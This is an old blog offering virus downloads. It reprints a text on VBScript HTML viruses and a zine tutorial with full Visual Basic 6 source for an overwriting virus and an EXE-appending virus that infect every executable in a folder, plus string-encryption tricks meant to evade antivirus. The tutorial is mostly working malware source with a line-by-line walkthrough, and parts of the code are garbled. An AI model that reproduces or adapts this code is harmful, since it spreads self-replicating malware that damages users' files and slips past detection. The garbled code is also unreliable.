jump to navigation

W32.Foredge January 22, 2007

Posted by endare in virus.
4 comments

this is a source code of virus w32.foredge detect by norton you can download here

virus source January 22, 2007

Posted by endare in Uncategorized.
1 comment so far

this virus write in ms visual basic 6.0. this virus will infect all your multimedia file and make a duplicate name with your multimedia file name Download Here

HTML virus January 22, 2007

Posted by endare in virus.
1 comment so far

HTML Viruses

Introduction
============

A new class of viruses has recently appeared that utilize the VBScript
scripting language to infect web pages. While these viruses are causing a lot
of worry, they are not as dangerous, as some would have you believe, for two
reasons:

1. In order for the virus to infect other pages, it must be run from a
local copy of the infected web page. That is, instead of viewing a web
page on a web server, you must first download it to your machine and
then view the local copy. This is necessary for the virus to get a copy
of itself to attach to another web page.

2. The Scripting Run-time Library must be installed on your system. The
Scripting Run-time Library contains the File System Object which is what
VBScript uses to access the local file system. Without that object,
a VBScript script cannot access files on the local system. The Scripting
Run-time Library is currently shipped with the Internet Information
Server (IIS) module of the Windows NT 4 Server operating system and the
Windows Scripting Host.


Virus Operation
===============

The VBScript scripting language was developed by Microsoft as a competitor to
JavaScript for automating web pages. The language is a variant of the Visual
Basic for Applications computer language that is built into several Microsoft
applications. Because VBScript was designed to run on the web client, the
language was intentionally handicapped to make it impossible to damage a
person’s system using a script. Thus, VBScript has no commands for accessing
memory or the file system. JavaScript is handicapped in much the same way.

Newer uses of VBScript include Active Server Pages and the Windows Scripting
Host. Active server pages are a part of the IIS which allow web pages to be
generated on the fly on a web server. This capability is especially useful
when a web page is to include content from a database. Because this package
runs server programs on the server, it does not need the protections that
VBScript on a client’s machine does. The Scripting Run-time Library containing
the File System Object is included with Active Server Pages to give VBScript
running on the server the ability to access files on the server’s file system.

The HTML class of viruses make use of the fact that the scripting engine on a
server can access the file system and can only operate on a system that has
the File System Object installed. They need access to the file system to
replicate and to attack a computer (delete or change files).

The scripting run-time library is normally only installed on Windows NT 4
Servers running the IIS. It is not normally installed on Windows NT 4
workstations because it is not normally needed; but it can be installed as
part of the Windows Scripting Host.


How Do I Find Out If I Am Vulnerable?
=====================================

To see if you are vulnerable to the html virus, copy the following web page
into a file named fstest.htm and open it with Internet Explorer. If Internet
Explorer displays an “Internet Explorer Script Error” dialog box with the
error “Active-X component can’t create object: ‘CreateObject’”, the Scripting
Run-time Library is not installed and you are not vulnerable. If Internet
Explorer puts up a Security Alert indicating that “An Active-X control on this
page may be unsafe…”, the Scripting Run-time Library is installed and you
are vulnerable. If you click Yes, the code runs and lists all the files in
your root file system on the web page.

——–cut here——–

listing
This web page will list the files in your root directory if the
Scripting Run-time Library is installed and registered. If it is not
installed and registered, this web page generates a script error.
Files In The Root Directory ()

  

——-Cut Here——

The script operates by creating a file system object, selecting the root
directory, getting the list of files in the root directory, and then printing
them in the body of the web page.

Another way to check for the vulnerability is to see if the scripting run-time
library is on your system. On a Windows NT 4 system, look for the file:

$WINDIRsystem32scrrun.dll

where $WINDIR is typically c:winnt If this file exists on your system, your
system may be vulnerable to the html virus. Note that the library must be both
on your system and registered in the registry to be used by a script or html
virus.


Protecting Against the HTML Virus
=================================

If you are not using Active Server Pages or the Windows Scripting Host, you do
not need the Scripting Run-time Library. If you are using active server pages,
but are not accessing local files, you also do not need the Scripting Run-time
Library. You can remove the Scripting Run-time Library and protect a system by
moving the file:

$WINDIRSystem32scrrun.dll

onto a floppy disk. Save this copy in case you need to reinstall it at a
future date (see below).

If you need the Scripting Run-Time Library, you will have to be careful what
you load onto your system.

1. Have up-to-date antivirus software running.
2. Be careful running web pages that you have downloaded to your computer.
3. If you get the Security Alert about running an unsafe Active-X control
on the current page, do not click Yes to go ahead and run the control.
Open the page with a text editor first to see what is causing the alert.


Reinstalling The Scripting Run-Time Library At A Later Date
===========================================================

If after removing the scrrun.dll library file you find that you need to
restore the Scripting Run-time Library, you must:

1. Copy the file back into the $WINDIRsystem32 directory.
2. Register the library by typing the following command in a DOS window.

$WINDIRsystem32regsvr32.exe $WINDIRsystem32scrrun.dl

virus tutorial January 22, 2007

Posted by endare in virus.
1 comment so far

I know that overwritters suck, they have no chance of spreading and they are not ” intelligent ” viruses. Dispite all this overwritters can help you understand the basics of the REAL viruses. I will give you the code first and then I will go over it.

Option Explicit
Dim myarray() As Byte
Dim victim As String
Const mysize As Integer = 11776

Private Sub Form_Load()
On Error Resume Next
Dim Free
Free = FreeFile

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
ReDim myarray(mysize)
Get #1, 1, myarray
Close #Free

victim = Dir(App.Path & "\" & "*.EXE")
While victim <> “”

Open App.Path & “” & victim For Binary Access Write As #Free
Put #1, , myarray
Put #1, , mysize
Close #Free

victim = Dir()

Wend

End
End Sub

Now lets go over it part by part:

Option Explicit
Dim myarray() As Byte
Dim victim As String
Const mysize As Integer = 11776

Here we define the variables that we will use, the ” myarray() ” variable holds tha binary code of the virus, the “victim” variable holds the victim file’s name and the “mysize” variable holds the size of the virus.

Private Sub Form_Load()
On Error Resume Next

We open the sub we will use (Form_Load), and we put our error handle there.

Dim Free
Free = FreeFile

This is a good idea taken by the y2k virus. This will rid you of read/write errors because it will open free file.

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
ReDim myarray(mysize)
Get #1, 1, myarray
Close #Free

Now we get the binary code out of our virus and we store it in the “myarray” variable.

victim = Dir(App.Path & "\" & "*.EXE")
While victim <> “”

Open App.Path & “” & victim For Binary Access Write As #Free
Put #1, , myarray
Put #1, , mysize
Close #Free

Here we define the victim variable and we put our binary code in the victim program.

victim = Dir()

Wend

Then we set victim to nothing, and we repeat the whole process to infect all the .exe files in the current directory.

End
End Sub

And finally we close the program and the sub.

This was it … as you can see overwritters are dead easy to write. In the next issue I will discuss appending viruses. For comments and/or questions e-mail me at [PAiN]@cypria.com

From [PAiN] (formally known as PhreakX).

part #3
EXE Appenders

Now we get to the real thing… the EXE appending viruses. This is a simple not encrypted appending virus without any payload.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Cut here-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Option Explicit
Private victim As String
Private myarray() As Byte
Private varray As Byte
Private length As Long
Private chck As String

Const size As Integer = 18432

Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long

Private Sub Form_Load()

On Error Resume Next

Dim I As Long
Dim Free
Free = FreeFile

On Error GoTo Fin

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
myarray = Space$(size)
Get #1, 1, myarray
Close #Free

victim = Dir(App.Path & "\" & "*.EXE")
While victim <> “”

‘ If the victim file, has the same directory and name as the file
‘ that is running - skip the next part
If LCase(App.Path & “” & App.EXEName & “.exe”) _
<> LCase(App.Path & “” & App.EXEName & “.exe”) Then

Open Victim For Binary Access Read As #Free
varray = Space(LOF(Free)) ‘ Sets buffer up for the file data
Get #1, 1, varray         ‘ Copy th file data into a variable
Close #Free

chck = Mid(varray, Len(varray)) ‘ Store the last character in the
‘ victim file in CheckX

If LCase(chck) <> “^” Then      ‘ if the character = X then the file has
‘ already been infected, if not continue

Open victim For Binary Access Write As #Free
Put #Free, 1, myarray      ‘ Place our code in the front of the file
Put #Free, size, varray    ‘ Follow it immediatley by the victims code
Put #Free, LOF(Free) + 1, “^” ‘Place an X at the end to show it’s been
‘infected
Close #Free                   ‘Thats how this virus got it’s name!

End If
Else
End If

Victim = Dir()              ‘ Find the next file to infect
Wend                        ‘ Go back to the start

Open App.Path & “” & App.EXEName & “.exe” For Binary Access Read As #Free
length = (LOF(Free) - size)  ‘ Store the length of the current file minus
‘ the virus file size in the variable
If Length > 0 Then           ‘ if it’s more than 0, the file is infected,
‘ if not, this is the raw virus file
myarray = Space(length)      ‘ Create buffer in variable, for the size of
‘ the file
Get #Free, size, myarray     ‘ Get the old host data from out of this file
Close #Free

Open App.Path & “” & App.EXEName & “.tut” For Binary Access Write As #Free
Put #Free, , myarray        ‘ Place the old host data into a temporary file
Close #Free

idProg = Shell(App.Path & “” & App.EXEName & “.tut”, vbNormalFocus)
‘ Run the old host code
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
‘ Get it running application code number
GetExitCodeProcess hProg, iExit

Do While iExit = STILL_ACTIVE   ‘ Wait untill the program is shut down
DoEvents
GetExitCodeProcess hProg, iExit
Loop
On Error Resume Next
Kill App.Path & “” & App.EXEName & “.tut”  ‘ Delete the old host code

Else
Close #Free
End If
End
Fin:
End Sub

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Cut here-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Now lets go over it part by part:

Option Explicit
Private victim As String
Private myrray() As Byte
Private varray As Byte
Private length As Long
Private chck As String
Const size As Integer = 18432

Here we define the variables that we will use, the ” myarray() ” variable holds tha binary code of the virus, the “victim” variable holds the victim file’s name and the “mysize” variable holds the size of the virus. You will need to change the number to the size of your virus. The length variable holds the running file’s length and the chck variable will be used to check if we have already infected the file.

Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long

These are the variables, constants and declarations that we will use for process checking.

Private Sub Form_Load()
On Error Resume Next

We open the sub we will use (Form_Load), and we put our error handle there.

Dim Free
Free = FreeFile

This is a good idea taken by the y2k virus. This will rid you of read/write errors because it will open free file.

On Error GoTo Fin

This is our error handler. If there is an error it will ignore all code and go to the Fin marker which is the end.

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
myarray = Space$(size)
Get #1, 1, myarray
Close #Free

Now we get the binary code out of our virus and we store it in ” myarray ” variable.

victim = Dir(App.Path & "\" & "*.EXE")
While victim <> “”

If LCase(App.Path & “” & App.EXEName & “.exe”) _
<> LCase(App.Path & “” & App.EXEName & “.exe”) Then

If our victim file is the same as the one running, same directory and same name, we do not infect.

Open Victim For Binary Access Read As #Free
varray = Space(LOF(Free))
Get #1, 1, varray
Close #Free

We get the binary code from our victim file and store it in the varray variable.

chck = Mid(varray, Len(varray))

We store the last character of the victim file in the chck variable for later use of infection checking.

If LCase(chck) <> “t” Then

If the last character isn’t ” t ” then it means that its not infected so continue.

Open victim For Binary Access Write As #Free
Put #Free, 1, myarray
Put #Free, size, varray
Put #Free, LOF(Free) + 1, "t"
Close #Free

End If
Else
End If

Now we write our virus code first and then the original file code in the file and we also include the “t” character to mark it as infected.

Victim = Dir()
Wend

This find the next file to infect and redoes the whole routine.

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
length = (LOF(Free) - size)
If Length > 0 Then
myarray = Space(length)
Get #Free, size, myarray
Close #Free

Now we get the file’s size minus the virus, if it isn’t 0 it means that it is infected.

Open App.Path & "\" & App.EXEName & ".tut" _
For Binary Access Write As #Free
Put #Free, , myarray ' Place the old host data into a temporary file
Close #Free

We put the host data in a file we make. A temporary file.

idProg = Shell(App.Path & "\" & App.EXEName & ".tut", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit

Now we run the original host program.

Do While iExit = STILL_ACTIVE   ' Wait untill the program is shut down
DoEvents
GetExitCodeProcess hProg, iExit
Loop

Wait for the program to be terminated.

On Error Resume Next
Kill App.Path & "\" & App.EXEName & ".tut"  ' Delete the old host code

Else

End If

End

Fin:

End Sub

Now we delete the temporary file and then we close our sub.

For any comments and / or suggestions, even if it is bad e – mail me at [PAiN]@cypria.com.

From [PAiN] (formally known as PhreakX).

part #4
Encryption

(NOTE by Cicatrix:”Some of the code below was written in ASCII and does not translate to HTML correctly. Please refer to the LZO #2 zine for the correct version”)

Now we get to a more interesting part of vb viruses, better for all viruses the encryption. You really don’t want to make it easy for the AVs do you?? Here is where you will use encryption.

Currently I have only tried two kinds of encryption for vb viruses and they both work finely.

The first one is probably known to all macro coders, its character encryption, first used by VicodinES. This is easy to use and you can hide your text strings finely.

example of use:

Lets say that you have they payload of a messagebox:

MsgBox “This is my virus”

Now this text string is easier to spot than something like:

MsgBox Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(105) + _ + Chr(115) + Chr(32) + Chr(109) + Chr(121) + Chr(32) + Chr(118) + _ + Chr(105) + Chr(114) + Chr(117) + Chr(115)

A common mistake people make when they use this is that they put the Chr’s in speachmarks (””) and they get a messagebox containing Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(105) + Chr(115) + Chr(32) + Chr(109) + Chr(121) + Chr(32) + Chr(118) + Chr(105) + Chr(114) + Chr(117) + Chr(115) instead of, ‘This is a virus.’

A good application you can use to quickly encrypt your text strings is by using VicodinES’s string converter.

Private Function Decrypt_Encrypt(Text) As String
XorKey = 133
For EncryptDecryptLoop = 1 To Len(Text)
Decrypt_Encrypt = Decrypt_Encrypt _
& Chr(Asc(Mid(Text, EncryptDecryptLoop, 1)) Xor XorKey)
Next
End Function

simple virus January 22, 2007

Posted by endare in virus.
1 comment so far

A simple virus script created by Ms visual Basic 6.0 Download here